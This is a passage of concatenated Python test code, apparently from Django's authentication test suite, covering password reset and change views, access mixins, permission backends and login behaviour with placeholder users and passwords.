        dict(post_reset_redirect='password_reset')),
    url(r'^password_change/custom/$', views.password_change, dict(post_change_redirect='/custom/')),
    url(r'^password_change/custom/named/$', views.password_change, dict(post_change_redirect='password_reset')),
    url(r'^login_required/$', login_required(views.password_reset)),
    url(r'^login_required_login_url/$', login_required(views.password_reset, login_url='/somewhere/')),

    # This line is only required to render the password reset with is_admin=True
    url(r'^admin/', admin.site.urls),
]






from django.contrib.auth import authenticate
from django.contrib.auth.models import User
from django.contrib.auth.tokens import PasswordResetTokenGenerator
from django.contrib.auth.views import (
    PasswordChangeDoneView, PasswordChangeView, PasswordResetCompleteView,
    PasswordResetConfirmView, PasswordResetDoneView, PasswordResetView,
)
from django.test import RequestFactory, TestCase, override_settings
from django.utils.encoding import force_bytes, force_text
from django.utils.http import urlsafe_base64_encode


@override_settings(ROOT_URLCONF='auth_tests.urls')
class AuthTemplateTests(TestCase):

    def test_titles(self):
        rf = RequestFactory()
        user = User.objects.create_user('jsmith', 'jsmith@example.com', 'pass')
        user = authenticate(username=user.username, password='pass')
        request = rf.get('/somepath/')
        request.user = user

        response = PasswordResetView.as_view(success_url='dummy/')(request)
        self.assertContains(response, '<title>Password reset</title>')
        self.assertContains(response, '<h1>Password reset</h1>')

        response = PasswordResetDoneView.as_view()(request)
        self.assertContains(response, '<title>Password reset sent</title>')
        self.assertContains(response, '<h1>Password reset sent</h1>')

        # PasswordResetConfirmView invalid token
        response = PasswordResetConfirmView.as_view(success_url='dummy/')(request, uidb64='Bad', token='Bad')
        self.assertContains(response, '<title>Password reset unsuccessful</title>')
        self.assertContains(response, '<h1>Password reset unsuccessful</h1>')

        # PasswordResetConfirmView valid token
        default_token_generator = PasswordResetTokenGenerator()
        token = default_token_generator.make_token(user)
        uidb64 = force_text(urlsafe_base64_encode(force_bytes(user.pk)))
        response = PasswordResetConfirmView.as_view(success_url='dummy/')(request, uidb64=uidb64, token=token)
        self.assertContains(response, '<title>Enter new password</title>')
        self.assertContains(response, '<h1>Enter new password</h1>')

        response = PasswordResetCompleteView.as_view()(request)
        self.assertContains(response, '<title>Password reset complete</title>')
        self.assertContains(response, '<h1>Password reset complete</h1>')

        response = PasswordChangeView.as_view(success_url='dummy/')(request)
        self.assertContains(response, '<title>Password change</title>')
        self.assertContains(response, '<h1>Password change</h1>')

        response = PasswordChangeDoneView.as_view()(request)
        self.assertContains(response, '<title>Password change successful</title>')
        self.assertContains(response, '<h1>Password change successful</h1>')






from django.conf.urls import url
from django.contrib import admin
from django.contrib.auth import views
from django.contrib.auth.decorators import login_required
from django.contrib.auth.forms import AuthenticationForm
from django.contrib.auth.urls import urlpatterns as auth_urlpatterns
from django.contrib.messages.api import info
from django.http import HttpRequest, HttpResponse
from django.shortcuts import render
from django.template import RequestContext, Template
from django.urls import reverse_lazy
from django.views.decorators.cache import never_cache


class CustomRequestAuthenticationForm(AuthenticationForm):
    def __init__(self, request, *args, **kwargs):
        assert isinstance(request, HttpRequest)
        super(CustomRequestAuthenticationForm, self).__init__(request, *args, **kwargs)


@never_cache
def remote_user_auth_view(request):
    "Dummy view for remote user tests"
    t = Template("Username is {{ user }}.")
    c = RequestContext(request, {})
    return HttpResponse(t.render(c))


def auth_processor_no_attr_access(request):
    render(request, 'context_processors/auth_attrs_no_access.html')
    # *After* rendering, we check whether the session was accessed
    return render(request,
                  'context_processors/auth_attrs_test_access.html',
                  {'session_accessed': request.session.accessed})


def auth_processor_attr_access(request):
    render(request, 'context_processors/auth_attrs_access.html')
    return render(request,
                  'context_processors/auth_attrs_test_access.html',
                  {'session_accessed': request.session.accessed})


def auth_processor_user(request):
    return render(request, 'context_processors/auth_attrs_user.html')


def auth_processor_perms(request):
    return render(request, 'context_processors/auth_attrs_perms.html')


def auth_processor_perm_in_perms(request):
    return render(request, 'context_processors/auth_attrs_perm_in_perms.html')


def auth_processor_messages(request):
    info(request, "Message 1")
    return render(request, 'context_processors/auth_attrs_messages.html')


def userpage(request):
    pass


# special urls for auth test cases
urlpatterns = auth_urlpatterns + [
    url(r'^logout/custom_query/$', views.LogoutView.as_view(redirect_field_name='follow')),
    url(r'^logout/next_page/$', views.LogoutView.as_view(next_page='/somewhere/')),
    url(r'^logout/next_page/named/$', views.LogoutView.as_view(next_page='password_reset')),
    url(r'^remote_user/$', remote_user_auth_view),

    url(r'^password_reset_from_email/$',
        views.PasswordResetView.as_view(from_email='staffmember@example.com')),
    url(r'^password_reset_extra_email_context/$',
        views.PasswordResetView.as_view(extra_email_context=dict(greeting='Hello!'))),
    url(r'^password_reset/custom_redirect/$',
        views.PasswordResetView.as_view(success_url='/custom/')),
    url(r'^password_reset/custom_redirect/named/$',
        views.PasswordResetView.as_view(success_url=reverse_lazy('password_reset'))),
    url(r'^password_reset/html_email_template/$',
        views.PasswordResetView.as_view(
            html_email_template_name='registration/html_password_reset_email.html'
        )),
    url(r'^reset/custom/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',
        views.PasswordResetConfirmView.as_view(success_url='/custom/')),
    url(r'^reset/custom/named/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',
        views.PasswordResetConfirmView.as_view(success_url=reverse_lazy('password_reset'))),
    url(r'^reset/post_reset_login/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$',
        views.PasswordResetConfirmView.as_view(post_reset_login=True)),
    url(r'^password_change/custom/$',
        views.PasswordChangeView.as_view(success_url='/custom/')),
    url(r'^password_change/custom/named/$',
        views.PasswordChangeView.as_view(success_url=reverse_lazy('password_reset'))),
    url(r'^login_required/$', login_required(views.PasswordResetView.as_view())),
    url(r'^login_required_login_url/$', login_required(views.PasswordResetView.as_view(), login_url='/somewhere/')),

    url(r'^auth_processor_no_attr_access/$', auth_processor_no_attr_access),
    url(r'^auth_processor_attr_access/$', auth_processor_attr_access),
    url(r'^auth_processor_user/$', auth_processor_user),
    url(r'^auth_processor_perms/$', auth_processor_perms),
    url(r'^auth_processor_perm_in_perms/$', auth_processor_perm_in_perms),
    url(r'^auth_processor_messages/$', auth_processor_messages),
    url(r'^custom_request_auth_login/$',
        views.LoginView.as_view(authentication_form=CustomRequestAuthenticationForm)),
    url(r'^userpage/(.+)/$', userpage, name="userpage"),
    url(r'^login/redirect_authenticated_user_default/$', views.LoginView.as_view()),
    url(r'^login/redirect_authenticated_user/$',
        views.LoginView.as_view(redirect_authenticated_user=True)),

    # This line is only required to render the password reset with is_admin=True
    url(r'^admin/', admin.site.urls),
]






import os

from django.utils._os import upath

AUTH_MIDDLEWARE = [
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
]

AUTH_TEMPLATES = [{
    'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'DIRS': [os.path.join(os.path.dirname(upath(__file__)), 'templates')],
    'APP_DIRS': True,
    'OPTIONS': {
        'context_processors': [
            'django.contrib.auth.context_processors.auth',
            'django.contrib.messages.context_processors.messages',
        ],
    },
}]






from django.contrib.auth import models
from django.contrib.auth.mixins import (
    LoginRequiredMixin, PermissionRequiredMixin, UserPassesTestMixin,
)
from django.contrib.auth.models import AnonymousUser
from django.core.exceptions import PermissionDenied
from django.http import HttpResponse
from django.test import RequestFactory, TestCase, mock
from django.views.generic import View


class AlwaysTrueMixin(UserPassesTestMixin):

    def test_func(self):
        return True


class AlwaysFalseMixin(UserPassesTestMixin):

    def test_func(self):
        return False


class EmptyResponseView(View):
    def get(self, request, *args, **kwargs):
        return HttpResponse()


class AlwaysTrueView(AlwaysTrueMixin, EmptyResponseView):
    pass


class AlwaysFalseView(AlwaysFalseMixin, EmptyResponseView):
    pass


class StackedMixinsView1(LoginRequiredMixin, PermissionRequiredMixin, EmptyResponseView):
    permission_required = ['auth_tests.add_customuser', 'auth_tests.change_customuser']
    raise_exception = True


class StackedMixinsView2(PermissionRequiredMixin, LoginRequiredMixin, EmptyResponseView):
    permission_required = ['auth_tests.add_customuser', 'auth_tests.change_customuser']
    raise_exception = True


class AccessMixinTests(TestCase):

    factory = RequestFactory()

    def test_stacked_mixins_success(self):
        user = models.User.objects.create(username='joe', password='qwerty')
        perms = models.Permission.objects.filter(codename__in=('add_customuser', 'change_customuser'))
        user.user_permissions.add(*perms)
        request = self.factory.get('/rand')
        request.user = user

        view = StackedMixinsView1.as_view()
        response = view(request)
        self.assertEqual(response.status_code, 200)

        view = StackedMixinsView2.as_view()
        response = view(request)
        self.assertEqual(response.status_code, 200)

    def test_stacked_mixins_missing_permission(self):
        user = models.User.objects.create(username='joe', password='qwerty')
        perms = models.Permission.objects.filter(codename__in=('add_customuser',))
        user.user_permissions.add(*perms)
        request = self.factory.get('/rand')
        request.user = user

        view = StackedMixinsView1.as_view()
        with self.assertRaises(PermissionDenied):
            view(request)

        view = StackedMixinsView2.as_view()
        with self.assertRaises(PermissionDenied):
            view(request)

    @mock.patch.object(models.User, 'is_authenticated', False)
    def test_stacked_mixins_not_logged_in(self):
        user = models.User.objects.create(username='joe', password='qwerty')
        perms = models.Permission.objects.filter(codename__in=('add_customuser', 'change_customuser'))
        user.user_permissions.add(*perms)
        request = self.factory.get('/rand')
        request.user = user

        view = StackedMixinsView1.as_view()
        with self.assertRaises(PermissionDenied):
            view(request)

        view = StackedMixinsView2.as_view()
        with self.assertRaises(PermissionDenied):
            view(request)


class UserPassesTestTests(TestCase):

    factory = RequestFactory()

    def _test_redirect(self, view=None, url='/accounts/login/?next=/rand'):
        if not view:
            view = AlwaysFalseView.as_view()
        request = self.factory.get('/rand')
        request.user = AnonymousUser()
        response = view(request)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(response.url, url)

    def test_default(self):
        self._test_redirect()

    def test_custom_redirect_url(self):
        class AView(AlwaysFalseView):
            login_url = '/login/'

        self._test_redirect(AView.as_view(), '/login/?next=/rand')

    def test_custom_redirect_parameter(self):
        class AView(AlwaysFalseView):
            redirect_field_name = 'goto'

        self._test_redirect(AView.as_view(), '/accounts/login/?goto=/rand')

    def test_no_redirect_parameter(self):
        class AView(AlwaysFalseView):
            redirect_field_name = None

        self._test_redirect(AView.as_view(), '/accounts/login/')

    def test_raise_exception(self):
        class AView(AlwaysFalseView):
            raise_exception = True

        request = self.factory.get('/rand')
        request.user = AnonymousUser()
        with self.assertRaises(PermissionDenied):
            AView.as_view()(request)

    def test_raise_exception_custom_message(self):
        msg = "You don't have access here"

        class AView(AlwaysFalseView):
            raise_exception = True
            permission_denied_message = msg

        request = self.factory.get('/rand')
        request.user = AnonymousUser()
        view = AView.as_view()
        with self.assertRaises(PermissionDenied) as cm:
            view(request)
        self.assertEqual(cm.exception.args[0], msg)

    def test_raise_exception_custom_message_function(self):
        msg = "You don't have access here"

        class AView(AlwaysFalseView):
            raise_exception = True

            def get_permission_denied_message(self):
                return msg

        request = self.factory.get('/rand')
        request.user = AnonymousUser()
        view = AView.as_view()
        with self.assertRaises(PermissionDenied) as cm:
            view(request)
        self.assertEqual(cm.exception.args[0], msg)

    def test_user_passes(self):
        view = AlwaysTrueView.as_view()
        request = self.factory.get('/rand')
        request.user = AnonymousUser()
        response = view(request)
        self.assertEqual(response.status_code, 200)


class LoginRequiredMixinTests(TestCase):

    factory = RequestFactory()

    @classmethod
    def setUpTestData(cls):
        cls.user = models.User.objects.create(username='joe', password='qwerty')

    def test_login_required(self):
        """
        Check that login_required works on a simple view wrapped in a
        login_required decorator.
        """
        class AView(LoginRequiredMixin, EmptyResponseView):
            pass

        view = AView.as_view()

        request = self.factory.get('/rand')
        request.user = AnonymousUser()
        response = view(request)
        self.assertEqual(response.status_code, 302)
        self.assertEqual('/accounts/login/?next=/rand', response.url)
        request = self.factory.get('/rand')
        request.user = self.user
        response = view(request)
        self.assertEqual(response.status_code, 200)


class PermissionsRequiredMixinTests(TestCase):

    factory = RequestFactory()

    @classmethod
    def setUpTestData(cls):
        cls.user = models.User.objects.create(username='joe', password='qwerty')
        perms = models.Permission.objects.filter(codename__in=('add_customuser', 'change_customuser'))
        cls.user.user_permissions.add(*perms)

    def test_many_permissions_pass(self):
        class AView(PermissionRequiredMixin, EmptyResponseView):
            permission_required = ['auth_tests.add_customuser', 'auth_tests.change_customuser']

        request = self.factory.get('/rand')
        request.user = self.user
        resp = AView.as_view()(request)
        self.assertEqual(resp.status_code, 200)

    def test_single_permission_pass(self):
        class AView(PermissionRequiredMixin, EmptyResponseView):
            permission_required = 'auth_tests.add_customuser'

        request = self.factory.get('/rand')
        request.user = self.user
        resp = AView.as_view()(request)
        self.assertEqual(resp.status_code, 200)

    def test_permissioned_denied_redirect(self):
        class AView(PermissionRequiredMixin, EmptyResponseView):
            permission_required = [
                'auth_tests.add_customuser', 'auth_tests.change_customuser', 'non-existent-permission',
            ]

        request = self.factory.get('/rand')
        request.user = self.user
        resp = AView.as_view()(request)
        self.assertEqual(resp.status_code, 302)

    def test_permissioned_denied_exception_raised(self):
        class AView(PermissionRequiredMixin, EmptyResponseView):
            permission_required = [
                'auth_tests.add_customuser', 'auth_tests.change_customuser', 'non-existent-permission',
            ]
            raise_exception = True

        request = self.factory.get('/rand')
        request.user = self.user
        with self.assertRaises(PermissionDenied):
            AView.as_view()(request)






from __future__ import unicode_literals

from datetime import date

from django.contrib.auth import (
    BACKEND_SESSION_KEY, SESSION_KEY, authenticate, get_user, signals,
)
from django.contrib.auth.backends import ModelBackend
from django.contrib.auth.hashers import MD5PasswordHasher
from django.contrib.auth.models import AnonymousUser, Group, Permission, User
from django.contrib.contenttypes.models import ContentType
from django.core.exceptions import ImproperlyConfigured, PermissionDenied
from django.http import HttpRequest
from django.test import (
    SimpleTestCase, TestCase, mock, modify_settings, override_settings,
)

from .models import (
    CustomPermissionsUser, CustomUser, CustomUserWithoutIsActiveField,
    ExtensionUser, UUIDUser,
)


class CountingMD5PasswordHasher(MD5PasswordHasher):
    """Hasher that counts how many times it computes a hash."""

    calls = 0

    def encode(self, *args, **kwargs):
        type(self).calls += 1
        return super(CountingMD5PasswordHasher, self).encode(*args, **kwargs)


class BaseModelBackendTest(object):
    """
    A base class for tests that need to validate the ModelBackend
    with different User models. Subclasses should define a class
    level UserModel attribute, and a create_users() method to
    construct two users for test purposes.
    """
    backend = 'django.contrib.auth.backends.ModelBackend'

    def setUp(self):
        self.patched_settings = modify_settings(
            AUTHENTICATION_BACKENDS={'append': self.backend},
        )
        self.patched_settings.enable()
        self.create_users()

    def tearDown(self):
        self.patched_settings.disable()
        # The custom_perms test messes with ContentTypes, which will
        # be cached; flush the cache to ensure there are no side effects
        # Refs #14975, #14925
        ContentType.objects.clear_cache()

    def test_has_perm(self):
        user = self.UserModel._default_manager.get(pk=self.user.pk)
        self.assertIs(user.has_perm('auth.test'), False)

        user.is_staff = True
        user.save()
        self.assertIs(user.has_perm('auth.test'), False)

        user.is_superuser = True
        user.save()
        self.assertIs(user.has_perm('auth.test'), True)

        user.is_staff = True
        user.is_superuser = True
        user.is_active = False
        user.save()
        self.assertIs(user.has_perm('auth.test'), False)

    def test_custom_perms(self):
        user = self.UserModel._default_manager.get(pk=self.user.pk)
        content_type = ContentType.objects.get_for_model(Group)
        perm = Permission.objects.create(name='test', content_type=content_type, codename='test')
        user.user_permissions.add(perm)

        # reloading user to purge the _perm_cache
        user = self.UserModel._default_manager.get(pk=self.user.pk)
        self.assertEqual(user.get_all_permissions(), {'auth.test'})
        self.assertEqual(user.get_group_permissions(), set())
        self.assertIs(user.has_module_perms('Group'), False)
        self.assertIs(user.has_module_perms('auth'), True)

        perm = Permission.objects.create(name='test2', content_type=content_type, codename='test2')
        user.user_permissions.add(perm)
        perm = Permission.objects.create(name='test3', content_type=content_type, codename='test3')
        user.user_permissions.add(perm)
        user = self.UserModel._default_manager.get(pk=self.user.pk)
        self.assertEqual(user.get_all_permissions(), {'auth.test2', 'auth.test', 'auth.test3'})
        self.assertIs(user.has_perm('test'), False)
        self.assertIs(user.has_perm('auth.test'), True)
        self.assertIs(user.has_perms(['auth.test2', 'auth.test3']), True)

        perm = Permission.objects.create(name='test_group', content_type=content_type, codename='test_group')
        group = Group.objects.create(name='test_group')
        group.permissions.add(perm)
        user.groups.add(group)
        user = self.UserModel._default_manager.get(pk=self.user.pk)
        exp = {'auth.test2', 'auth.test', 'auth.test3', 'auth.test_group'}
        self.assertEqual(user.get_all_permissions(), exp)
        self.assertEqual(user.get_group_permissions(), {'auth.test_group'})
        self.assertIs(user.has_perms(['auth.test3', 'auth.test_group']), True)

        user = AnonymousUser()
        self.assertIs(user.has_perm('test'), False)
        self.assertIs(user.has_perms(['auth.test2', 'auth.test3']), False)

    def test_has_no_object_perm(self):
        """Regressiontest for #12462"""
        user = self.UserModel._default_manager.get(pk=self.user.pk)
        content_type = ContentType.objects.get_for_model(Group)
        perm = Permission.objects.create(name='test', content_type=content_type, codename='test')
        user.user_permissions.add(perm)

        self.assertIs(user.has_perm('auth.test', 'object'), False)
        self.assertEqual(user.get_all_permissions('object'), set())
        self.assertIs(user.has_perm('auth.test'), True)
        self.assertEqual(user.get_all_permissions(), {'auth.test'})

    def test_anonymous_has_no_permissions(self):
        """
        #17903 -- Anonymous users shouldn't have permissions in
        ModelBackend.get_(all|user|group)_permissions().
        """
        backend = ModelBackend()

        user = self.UserModel._default_manager.get(pk=self.user.pk)
        content_type = ContentType.objects.get_for_model(Group)
        user_perm = Permission.objects.create(name='test', content_type=content_type, codename='test_user')
        group_perm = Permission.objects.create(name='test2', content_type=content_type, codename='test_group')
        user.user_permissions.add(user_perm)

        group = Group.objects.create(name='test_group')
        user.groups.add(group)
        group.permissions.add(group_perm)

        self.assertEqual(backend.get_all_permissions(user), {'auth.test_user', 'auth.test_group'})
        self.assertEqual(backend.get_user_permissions(user), {'auth.test_user', 'auth.test_group'})
        self.assertEqual(backend.get_group_permissions(user), {'auth.test_group'})

        with mock.patch.object(self.UserModel, 'is_anonymous', True):
            self.assertEqual(backend.get_all_permissions(user), set())
            self.assertEqual(backend.get_user_permissions(user), set())
            self.assertEqual(backend.get_group_permissions(user), set())

    def test_inactive_has_no_permissions(self):
        """
        #17903 -- Inactive users shouldn't have permissions in
        ModelBackend.get_(all|user|group)_permissions().
        """
        backend = ModelBackend()

        user = self.UserModel._default_manager.get(pk=self.user.pk)
        content_type = ContentType.objects.get_for_model(Group)
        user_perm = Permission.objects.create(name='test', content_type=content_type, codename='test_user')
        group_perm = Permission.objects.create(name='test2', content_type=content_type, codename='test_group')
        user.user_permissions.add(user_perm)

        group = Group.objects.create(name='test_group')
        user.groups.add(group)
        group.permissions.add(group_perm)

        self.assertEqual(backend.get_all_permissions(user), {'auth.test_user', 'auth.test_group'})
        self.assertEqual(backend.get_user_permissions(user), {'auth.test_user', 'auth.test_group'})
        self.assertEqual(backend.get_group_permissions(user), {'auth.test_group'})

        user.is_active = False
        user.save()

        self.assertEqual(backend.get_all_permissions(user), set())
        self.assertEqual(backend.get_user_permissions(user), set())
        self.assertEqual(backend.get_group_permissions(user), set())

    def test_get_all_superuser_permissions(self):
        """A superuser has all permissions. Refs #14795."""
        user = self.UserModel._default_manager.get(pk=self.superuser.pk)
        self.assertEqual(len(user.get_all_permissions()), len(Permission.objects.all()))

    @override_settings(PASSWORD_HASHERS=['auth_tests.test_auth_backends.CountingMD5PasswordHasher'])
    def test_authentication_timing(self):
        """Hasher is run once regardless of whether the user exists. Refs #20760."""
        # Re-set the password, because this tests overrides PASSWORD_HASHERS
        self.user.set_password('test')
        self.user.save()

        CountingMD5PasswordHasher.calls = 0
        username = getattr(self.user, self.UserModel.USERNAME_FIELD)
        authenticate(username=username, password='test')
        self.assertEqual(CountingMD5PasswordHasher.calls, 1)

        CountingMD5PasswordHasher.calls = 0
        authenticate(username='no_such_user', password='test')
        self.assertEqual(CountingMD5PasswordHasher.calls, 1)


class ModelBackendTest(BaseModelBackendTest, TestCase):
    """
    Tests for the ModelBackend using the default User model.
    """
    UserModel = User
    user_credentials = {'username': 'test', 'password': 'test'}

    def create_users(self):
        self.user = User.objects.create_user(email='test@example.com', **self.user_credentials)
        self.superuser = User.objects.create_superuser(
            username='test2',
            email='test2@example.com',
            password='test',
        )

    def test_authenticate_inactive(self):
        """
        An inactive user can't authenticate.
        """
        self.assertEqual(authenticate(**self.user_credentials), self.user)
        self.user.is_active = False
        self.user.save()
        self.assertIsNone(authenticate(**self.user_credentials))

    @override_settings(AUTH_USER_MODEL='auth_tests.CustomUserWithoutIsActiveField')
    def test_authenticate_user_without_is_active_field(self):
        """
        A custom user without an `is_active` field is allowed to authenticate.
        """
        user = CustomUserWithoutIsActiveField.objects._create_user(
            username='test', email='test@example.com', password='test',
        )
        self.assertEqual(authenticate(username='test', password='test'), user)


@override_settings(AUTH_USER_MODEL='auth_tests.ExtensionUser')
class ExtensionUserModelBackendTest(BaseModelBackendTest, TestCase):
    """
    Tests for the ModelBackend using the custom ExtensionUser model.

    This isn't a perfect test, because both the User and ExtensionUser are
    synchronized to the database, which wouldn't ordinary happen in
    production. As a result, it doesn't catch errors caused by the non-
    existence of the User table.

    The specific problem is queries on .filter(groups__user) et al, which
    makes an implicit assumption that the user model is called 'User'. In
    production, the auth.User table won't exist, so the requested join
    won't exist either; in testing, the auth.User *does* exist, and
    so does the join. However, the join table won't contain any useful
    data; for testing, we check that the data we expect actually does exist.
    """

    UserModel = ExtensionUser

    def create_users(self):
        self.user = ExtensionUser._default_manager.create_user(
            username='test',
            email='test@example.com',
            password='test',
            date_of_birth=date(2006, 4, 25)
        )
        self.superuser = ExtensionUser._default_manager.create_superuser(
            username='test2',
            email='test2@example.com',
            password='test',
            date_of_birth=date(1976, 11, 8)
        )


@override_settings(AUTH_USER_MODEL='auth_tests.CustomPermissionsUser')
class CustomPermissionsUserModelBackendTest(BaseModelBackendTest, TestCase):
    """
    Tests for the ModelBackend using the CustomPermissionsUser model.

    As with the ExtensionUser test, this isn't a perfect test, because both
    the User and CustomPermissionsUser are synchronized to the database,
    which wouldn't ordinary happen in production.
    """

    UserModel = CustomPermissionsUser

    def create_users(self):
        self.user = CustomPermissionsUser._default_manager.create_user(
            email='test@example.com',
            password='test',
            date_of_birth=date(2006, 4, 25)
        )
        self.superuser = CustomPermissionsUser._default_manager.create_superuser(
            email='test2@example.com',
            password='test',
            date_of_birth=date(1976, 11, 8)
        )


@override_settings(AUTH_USER_MODEL='auth_tests.CustomUser')
class CustomUserModelBackendAuthenticateTest(TestCase):
    """
    Tests that the model backend can accept a credentials kwarg labeled with
    custom user model's USERNAME_FIELD.
    """

    def test_authenticate(self):
        test_user = CustomUser._default_manager.create_user(
            email='test@example.com',
            password='test',
            date_of_birth=date(2006, 4, 25)
        )
        authenticated_user = authenticate(email='test@example.com', password='test')
        self.assertEqual(test_user, authenticated_user)


@override_settings(AUTH_USER_MODEL='auth_tests.UUIDUser')
class UUIDUserTests(TestCase):

    def test_login(self):
        """
        A custom user with a UUID primary key should be able to login.
        """
        user = UUIDUser.objects.create_user(username='uuid', password='test')
        self.assertTrue(self.client.login(username='uuid', password='test'))
        self.assertEqual(UUIDUser.objects.get(pk=self.client.session[SESSION_KEY]), user)


class TestObj(object):
    pass


class SimpleRowlevelBackend(object):
    def has_perm(self, user, perm, obj=None):
        if not obj:
            return  # We only support row level perms

        if isinstance(obj, TestObj):
            if user.username == 'test2':
                return True
            elif user.is_anonymous and perm == 'anon':
                return True
            elif not user.is_active and perm == 'inactive':
                return True
        return False

    def has_module_perms(self, user, app_label):
        if not user.is_anonymous and not user.is_active:
            return False
        return app_label == "app1"

    def get_all_permissions(self, user, obj=None):
        if not obj:
            return []  # We only support row level perms

        if not isinstance(obj, TestObj):
            return ['none']

        if user.is_anonymous:
            return ['anon']
        if user.username == 'test2':
            return ['simple', 'advanced']
        else:
            return ['simple']

    def get_group_permissions(self, user, obj=None):
        if not obj:
            return  # We only support row level perms

        if not isinstance(obj, TestObj):
            return ['none']

        if 'test_group' in [group.name for group in user.groups.all()]:
            return ['group_perm']
        else:
            return ['none']


@modify_settings(AUTHENTICATION_BACKENDS={
    'append': 'auth_tests.test_auth_backends.SimpleRowlevelBackend',
})
class RowlevelBackendTest(TestCase):
    """
    Tests for auth backend that supports object level permissions
    """

    def setUp(self):
        self.user1 = User.objects.create_user('test', 'test@example.com', 'test')
        self.user2 = User.objects.create_user('test2', 'test2@example.com', 'test')
        self.user3 = User.objects.create_user('test3', 'test3@example.com', 'test')

    def tearDown(self):
        # The get_group_permissions test messes with ContentTypes, which will
        # be cached; flush the cache to ensure there are no side effects
        # Refs #14975, #14925
        ContentType.objects.clear_cache()

    def test_has_perm(self):
        self.assertIs(self.user1.has_perm('perm', TestObj()), False)
        self.assertIs(self.user2.has_perm('perm', TestObj()), True)
        self.assertIs(self.user2.has_perm('perm'), False)
        self.assertIs(self.user2.has_perms(['simple', 'advanced'], TestObj()), True)
        self.assertIs(self.user3.has_perm('perm', TestObj()), False)
        self.assertIs(self.user3.has_perm('anon', TestObj()), False)
        self.assertIs(self.user3.has_perms(['simple', 'advanced'], TestObj()), False)

    def test_get_all_permissions(self):
        self.assertEqual(self.user1.get_all_permissions(TestObj()), {'simple'})
        self.assertEqual(self.user2.get_all_permissions(TestObj()), {'simple', 'advanced'})
        self.assertEqual(self.user2.get_all_permissions(), set())

    def test_get_group_permissions(self):
        group = Group.objects.create(name='test_group')
        self.user3.groups.add(group)
        self.assertEqual(self.user3.get_group_permissions(TestObj()), {'group_perm'})


@override_settings(
    AUTHENTICATION_BACKENDS=['auth_tests.test_auth_backends.SimpleRowlevelBackend'],
)
class AnonymousUserBackendTest(SimpleTestCase):
    """
    Tests for AnonymousUser delegating to backend.
    """

    def setUp(self):
        self.user1 = AnonymousUser()

    def test_has_perm(self):
        self.assertIs(self.user1.has_perm('perm', TestObj()), False)
        self.assertIs(self.user1.has_perm('anon', TestObj()), True)

    def test_has_perms(self):
        self.assertIs(self.user1.has_perms(['anon'], TestObj()), True)
        self.assertIs(self.user1.has_perms(['anon', 'perm'], TestObj()), False)

    def test_has_module_perms(self):
        self.assertIs(self.user1.has_module_perms("app1"), True)
        self.assertIs(self.user1.has_module_perms("app2"), False)

    def test_get_all_permissions(self):
        self.assertEqual(self.user1.get_all_permissions(TestObj()), {'anon'})


@override_settings(AUTHENTICATION_BACKENDS=[])
class NoBackendsTest(TestCase):
    """
    Tests that an appropriate error is raised if no auth backends are provided.
    """
    def setUp(self):
        self.user = User.objects.create_user('test', 'test@example.com', 'test')

    def test_raises_exception(self):
        with self.assertRaises(ImproperlyConfigured):
            self.user.has_perm(('perm', TestObj()))


@override_settings(AUTHENTICATION_BACKENDS=['auth_tests.test_auth_backends.SimpleRowlevelBackend'])
class InActiveUserBackendTest(TestCase):
    """
    Tests for an inactive user
    """

    def setUp(self):
        self.user1 = User.objects.create_user('test', 'test@example.com', 'test')
        self.user1.is_active = False
        self.user1.save()

    def test_has_perm(self):
        self.assertIs(self.user1.has_perm('perm', TestObj()), False)
        self.assertIs(self.user1.has_perm('inactive', TestObj()), True)

    def test_has_module_perms(self):
        self.assertIs(self.user1.has_module_perms("app1"), False)
        self.assertIs(self.user1.has_module_perms("app2"), False)


class PermissionDeniedBackend(object):
    """
    Always raises PermissionDenied in `authenticate`, `has_perm` and `has_module_perms`.
    """

    def authenticate(self, username=None, password=None):
        raise PermissionDenied

    def has_perm(self, user_obj, perm, obj=None):
        raise PermissionDenied

    def has_module_perms(self, user_obj, app_label):
        raise PermissionDenied


class PermissionDeniedBackendTest(TestCase):
    """
    Tests that other backends are not checked once a backend raises PermissionDenied
    """
    backend = 'auth_tests.test_auth_backends.PermissionDeniedBackend'

    def setUp(self):
        self.user1 = User.objects.create_user('test', 'test@example.com', 'test')
        self.user_login_failed = []
        signals.user_login_failed.connect(self.user_login_failed_listener)

    def tearDown(self):
        signals.user_login_failed.disconnect(self.user_login_failed_listener)

    def user_login_failed_listener(self, sender, credentials, **kwargs):
        self.user_login_failed.append(credentials)

    @modify_settings(AUTHENTICATION_BACKENDS={'prepend': backend})
    def test_permission_denied(self):
        "user is not authenticated after a backend raises permission denied #2550"
        self.assertIsNone(authenticate(username='test', password='test'))
        # user_login_failed signal is sent.
        self.assertEqual(self.user_login_failed, [{'password': '********************', 'username': 'test'}])

    @modify_settings(AUTHENTICATION_BACKENDS={'append': backend})
    def test_authenticates(self):
        self.assertEqual(authenticate(username='test', password='test'), self.user1)

    @modify_settings(AUTHENTICATION_BACKENDS={'prepend': backend})
    def test_has_perm_denied(self):
        content_type = ContentType.objects.get_for_model(Group)
        perm = Permission.objects.create(name='test', content_type=content_type, codename='test')
        self.user1.user_permissions.add(perm)

        self.assertIs(self.user1.has_perm('auth.test'), False)
        self.assertIs(self.user1.has_module_perms('auth'), False)

    @modify_settings(AUTHENTICATION_BACKENDS={'append': backend})
    def test_has_perm(self):
        content_type = ContentType.objects.get_for_model(Group)
        perm = Permission.objects.create(name='test', content_type=content_type, codename='test')
        self.user1.user_permissions.add(perm)

        self.assertIs(self.user1.has_perm('auth.test'), True)
        self.assertIs(self.user1.has_module_perms('auth'), True)


class NewModelBackend(ModelBackend):
    pass


class ChangedBackendSettingsTest(TestCase):
    """
    Tests for changes in the settings.AUTHENTICATION_BACKENDS
    """
    backend = 'auth_tests.test_auth_backends.NewModelBackend'

    TEST_USERNAME = 'test_user'
    TEST_PASSWORD = 'test_password'
    TEST_EMAIL = 'test@example.com'

    def setUp(self):
        User.objects.create_user(self.TEST_USERNAME,
                                 self.TEST_EMAIL,
                                 self.TEST_PASSWORD)

    @override_settings(AUTHENTICATION_BACKENDS=[backend])
